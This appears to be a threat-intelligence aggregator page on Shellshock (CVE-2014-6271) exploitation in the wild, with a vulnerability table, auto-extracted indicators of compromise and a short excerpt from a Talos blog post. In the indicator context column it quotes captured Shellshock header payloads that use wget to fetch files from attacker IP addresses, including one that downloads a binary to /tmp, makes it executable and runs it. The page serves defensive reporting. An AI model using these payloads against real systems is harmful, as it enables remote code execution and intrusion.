Exploit / PoCmedium
Shellshock Exploits in the Wild
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2014-6271 | Arbitrary Code Execution in GNU Bash (Shellshock) | — | 100% | KEV | — KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 109.235.51.42 | within the host name HTTP header: () { :; }; /bin/ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () { |
| ipv4 | 173.193.139.2 | ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/ |
| ipv4 | 37.187.225.119 | /usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/action.php > /var/www/ () { :;}; wge |
| ipv4 | 69.163.37.115 | ction.php > /var/www/ () { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd; The last examp |
| url | http://173.193.139.2/host | ; /bin/ping -c 3 109.235.51.42 () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host () { :; }; wget 37.187.225.119/a; wget 37.187.225.119/actio |
| url | http://69.163.37.115/nginx | 5.119/action.php > /var/www/ () { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd; The last example att |
From the original article
2 min read at blog.talosintelligence.com
The recently discovered Bash vulnerability ( CVE-2014-6271 ) potentially allows attackers to execute code on vulnerable systems. We have already blogged about the issue and provided more technical detail in a further blog . The rapid release of IPS signatures for our platforms allowed us to follow very quickly, the attempts at exploitation of the vulnerability in the wild.
blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.